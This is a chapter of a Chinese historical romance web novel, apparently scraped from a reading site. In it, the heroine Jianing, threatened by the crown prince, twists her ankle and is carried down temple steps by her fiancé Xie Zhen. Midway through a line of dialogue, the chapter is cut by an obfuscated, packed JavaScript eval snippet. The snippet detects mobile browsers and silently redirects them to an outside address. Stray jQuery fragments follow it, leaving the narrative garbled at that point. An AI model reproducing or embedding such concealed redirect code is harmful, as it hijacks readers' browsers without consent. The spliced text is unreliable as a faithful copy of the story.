默认冷灰
24号文字
方正启体

17. 谢臻(8)

作者:灼灼其棠本书字数:K更新时间:
    寺门前的石阶蜿蜒向下,足有几十级,一眼望不到尽头。


    谢臻始终走在她身旁半步,衣袖偶尔相触,却恪守礼节没有搀扶。


    只有嘉宁自己知道,他宽大的袖袍下,手指始终虚虚护在她腰后,像一道无声的屏障。


    “台阶有些滑。”谢臻声音依旧温和,可她看见他眼尾泛红,“当心脚下。”


    她机械地迈着步子,想起今早出门时还满心期待。


    想着今日要与谢臻商议将婚期提前,想求他带自己提前完婚逃离魔爪。


    谁能料到太子会突然出现,把一切搅得天翻地覆。


    如今满脑子都是太子最后那个眼神,像毒蛇盯住猎物般的势在必得。


    太子那句“处理好和谢臻的事”……


    他分明是要她退婚……


    可若真退了婚,等待她的就是东宫那座吃人的牢笼……


    脚踝传来尖锐疼痛时,嘉宁才发觉自己踩空了台阶。


    谢臻箭步上前揽住她的腰,却在相触的刹那像被烫到般松开,转而抓住她的手臂。


    “伤着没有?还好吗?”


    她试着踩了踩地,钻心的疼立刻窜上膝盖。


    这具身子本就娇弱,方才又经太子一番折腾,此刻连站立都成问题。


    石阶蜿蜒至寺庙大门,少说还有几十级,她恨极自己的无能,被太子欺辱时反抗不了,现在还要连累谢臻。


    这疼痛奇异地让她清醒,太子要她解除婚约,可她今日约谢臻来本就是为了商议提前婚期。


    现在这副狼狈模样,哪还有脸提这等奢望?


    “都怪我……”谢臻出声,这句话说得极轻,含着化不开的涩意,“没保护好你。”


    山间的风掠过他紧绷的下颌,将未尽之言吹散在空气里。


    那双向来澄澈的眼睛此刻映着阴影,似乎还残留着一抹刺痛。


    这话一语双关,似乎连掠过他们之间的风都滞了滞,像柄钝刀同时割开两颗心。


    嘉宁知道他不只是在说此时此刻,方才太子当面羞辱她时,他作为臣子甚至不能出言反驳。


    君臣之别像天堑横亘其间,比这山阶更难以跨越。


    “不怪你……”


    嘉宁摇头,一片槐花落在她颤抖的睫毛上,她几乎要咬碎银牙才忍住眼泪,后面的话消弭在喉间,化作一声压抑的哽咽。


    该怪这吃人的世道,怪她庶女的身份,怪太子连她最后这点温暖都要碾碎。


    谢臻的手紧了紧,扶着她往下走了几步,嘉宁疼得吸气,下台阶本就费力,崴脚后更是寸步难行。


    他立刻扶住她的肩膀,两人之间的距离近得能感受到彼此的呼吸。


    青年鸦羽般的睫毛低垂,在眼下投出小片阴影,那阴影随着她踉跄的动作颤动。


    “很疼?”他停下脚步,声音绷得极紧。


    “不疼……”嘉宁话音未落就踉跄了一下,被谢臻牢牢接住,带到一旁的平台。


    “别逞强。”他在她面前蹲下,露出挺直的脊背,“我背你。”


    “这、这不合礼数……”她小声嗫嚅。


    谢臻回头,眼中是她从未见过的执拗,“现在只有我们。”


    只有我们。


    这四个字让嘉宁鼻尖一酸。


    是啊,此刻没有太子,没有侯府,只有他和她。


    谢臻仍保持着半蹲的姿势,目光灼灼地看着她,“现在不是讲究虚礼的时候。”


    他察觉她的犹豫,声音沉了下去,“况且我们有婚约。”


    说完自己先怔了怔,随即苦笑。


    方才太子抱着嘉宁时何等肆无忌惮,而他这个正牌未婚夫,连背她下山都要找借口。


    四目相对的刹那,嘉宁撞进他映着天光的眼里。


    那双向来含笑的眸子此刻像两潭冻住的水,表面平静,底下却暗流汹涌。


    视线下移,看见他攥紧的拳头。


    这个向来克制的君子此刻肩背绷得像张拉满的弓,方才太子抱着她说的那些混账话,到底还是在他心里扎了刺。


    山道上的风大起来,吹得谢臻衣袂翻飞。


    他固执地不动,像尊石像。


    是啊,他们本该是名正言顺的未婚夫妻,可太子抱着她耳语时,谢臻只能以臣子身份垂首而立。


    现在连这点亲近都要战战兢兢……


    这个认知让她心脏绞痛起来,酸涩漫上心头。


    嘉宁最终慢慢攀上他的背,隔着衣料感受到他瞬时的僵硬。


    谢臻起身时托住她腿弯的手掌滚烫,她慌忙按住自己飘起的裙裾。


    这个动作让两人贴得更近,她甚至能听见他急促的心跳。


    隔着层层衣料,他的体温依然清晰可感,背脊比想象中更为宽阔。


    嘉宁双手虚环在他颈间,指尖不敢真正触碰他的肌肤,只悬空地维持着一个恭敬的距离。


    这个距离像极了他们之间的关系,看似亲近,实则隔着一道看不见的墙。


    “搂紧些。”谢臻的声音发哑,“会摔。”


    山风掠过耳畔,嘉宁迟疑片刻,将手臂收拢。


    环上他脖颈时,不小心碰到他滚动的喉结,那触感让她耳尖发烫。


    两人同时一颤。


    她从未想过,克制守礼的谢臻身上竟有这样灼人的温度。


    谢臻的呼吸明显乱了一拍。


    他托着她腿弯的手掌紧了紧,指节因用力而发白,却又小心翼翼地避开她可能疼痛的脚踝,手指不敢多挪半分,规规矩矩扣在膝弯,保持着最守礼的距离。


    她能感觉到他浑身肌肉都绷紧了,不像是背着一个人,而是背负着什么易碎的珍宝。


    “还很疼吗?”走到转弯处,谢臻忽然开口,声音混在风里有些模糊。


    嘉宁摇头,随即意识到他看不见她的动作,连忙道:“好些了。”


    话音未落,谢臻踩到一块松动的台阶,她下意识抱紧他的脖子,胸口贴上他的背脊。


    两人贴得严丝合缝,她甚至能感受到他背部肌肉瞬间的紧绷。


    “抱、抱歉……”嘉宁慌忙后仰,脸颊烧得厉害。


    她看见谢臻耳尖红得几乎滴血,连后颈都泛起薄红。


    “无妨。”他声音比方才低沉许多,托着她腿弯的手掌微微用力,“是我没走稳。”


    山风掠过石阶,谢臻背着她一步步往下走。


    这回他走得极稳,每一步都刻意放慢,像是怕颠着她。


    嘉宁清晰感受到他肩背的轮廓,紧绷的肌肉线条透过衣料传来温度。


    她不敢搂得太紧,又怕摔下去,手指虚虚搭在他肩上。


    他衣领间飘着淡淡的松墨香,混合着方才在佛殿沾染的檀香,清冽又温和。


    这气息让她想起今早出门时的心情,满怀期待地想要与他商议提前婚期,如今却只剩满心惶惑。


    心跳声大得吓人,嘉宁分不清是自己的还是谢臻的。


    “早上那会……”谢臻开口,又停住,像是在斟酌词句,声音被风吹得有些散,“你也是这般心不在焉。”


    嘉宁一愣,随即想起晨间差点摔倒的事。


    是啊,从出门那刻起,她就魂不守舍。


    可这话要如何说?说太子和她的三日之约?


    说嫡姐在东宫等她借腹生子?说那些肮脏的交易和算计?……


    “我……”她刚开口,一片落叶就飘进谢臻衣领。


    鬼使神差地,她伸手去拂,指尖却意外触到他后颈的皮肤。


    谢臻差点踩空。


    “别乱动。”他的脚步明显顿了一下,声音压抑着什么,“当心摔着。”


    她立刻缩回手,却听见他几不可闻的叹息:“……不是怪你。”


    石阶似乎没有尽头。


    嘉宁伏在谢臻背上,数着他均匀的呼吸声。


    有花瓣落在他们交叠的衣袂上,又被风吹走。


    这样安稳的时光还能有多久?


    太子不会放过她,而谢臻……谢臻又能护她到几时?


    “嘉宁。”谢臻唤她,声音轻得像叹息,“不想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811581|175262||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说便不说。”


    嘉宁把脸埋在他肩头,无声落泪。


    她知道的,谢臻看见了太子对她的轻薄,看见了那些不堪的威胁。


    可他什么都不能做,太子是君,他们是臣。


    谢臻脚步微滞。


    她的呼吸拂过他耳际时,青年耳廓肉眼可见地泛红。


    “再忍忍。”他托着她腿弯的手掌收紧一瞬又立即放松,“看到马车了。”


    嘉宁低头,他的衣服已经被自己攥出了褶皱。


    两人交叠的衣袖在风中纠缠,心口胀胀的。


    她想松手,却又贪恋这一刻的温暖。


    太子的威胁言犹在耳,此刻贪恋的温暖随时会变成刺向谢臻的刀,她觉得自己卑劣至极。


    她偷偷将脸贴在他背上,隔着衣衫听见他心跳如擂鼓。


    两颗心隔着衣料跳动,一快一慢,渐渐合成相同的韵律。


    远处钟声再次响起,惊起一群归巢的倦鸟,扑棱棱掠过他们头顶。


    门口渐近,嘉宁看见等候的马车。


    谢臻背着她走过最后一段石阶,青石板映出两人交叠的影子。


    停着的马车旁,车夫和小厮们见他们这般模样,惊讶地瞪大眼睛,随即识趣地背过身去。


    谢臻在马车前蹲下,动作轻柔地将她放下,转身时衣摆沾了泥都未察觉。


    嘉宁的脚刚触地就疼得吸气,不得不扶住他的手臂保持平衡。


    “能上去吗?”谢臻虚扶着她手肘,目光落在她裙摆沾的泥点上。


    嘉宁咬唇点头,却在上车时犯了难。


    受伤的脚使不上力,另一只脚无法支撑,几次尝试都狼狈地滑下来。


    “失礼了。”


    身后传来一声几不可闻的叹息。


    忽然腰间一紧,谢臻一手托住她的背,一手穿过膝弯,打横将她抱了起来。


    嘉宁惊呼卡在喉咙里,只来得及抓住他前襟。


    松木香混着墨味扑面而来,他的心跳声震得她指尖发麻。


    这个姿势比背着更加亲密,她整个人都陷在他怀里。


    裙裾翻飞间,她羞得满脸通红。


    胸膛的热度透过衣料灼烧着她的脸颊。


    与太子那种侵略性的炽热截然不同,是能融化坚冰的暖意。


    嘉宁不敢抬头,生怕看见他眼中的嫌弃或怜悯。


    谢臻稳步踏上脚凳,将她稳稳放在车厢内的软垫上。


    他的动作轻柔克制,指尖在触到她手腕时微微一顿,随即不着痕迹地收回,像是无声的安抚。


    他站在车辕旁,月白色的衣袍被山风吹得猎猎作响。


    嘉宁看着他垂下的眼睫。


    却见谢臻已经后退一步。


    “我骑马随行。”他声音平静得听不出情绪,只是眼底暗潮汹涌,“有事就让碧云唤我。”


    嘉宁张了张嘴,想说些什么,想解释太子的事,想问他是否介意,想告诉他自己的恐惧……


    最终只是点了点头,只挤出一句:“多谢。”


    谢臻深深看她一眼,欲言又止。


    他抬手似乎想触碰她的脸,却在半空转为替她放下车帘的动作,“好好休息吧。


    帘子落下前,嘉宁看见他眼中翻涌的复杂情绪。


    她看着谢臻翻身上马的背影,月白色的衣袍在风中翻飞,明明近在咫尺,却又仿佛隔着千山万水。


    马车开始移动时,她听见谢臻在外头轻声嘱咐车夫慢些赶车。


    车帘落下的那一刻,嘉宁的心也跟着落了下去。


    这样温柔的人,她怎么舍得让他卷入太子的报复?


    可若要放手……心脏传来的痛楚告诉她,早在不知不觉间,原主残留的情感早已变成她自己的爱恋。


    马蹄声与车轮声交错,像两颗乱掉的心。


    她蜷在软垫上,莫名恨极这层车帘,它挡住的何止是风,还有那些呼之欲出的解释与剖白。


    她不知道车窗外,谢臻握缰绳的手紧了又紧,目光始终没有离开那晃动的车帘。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)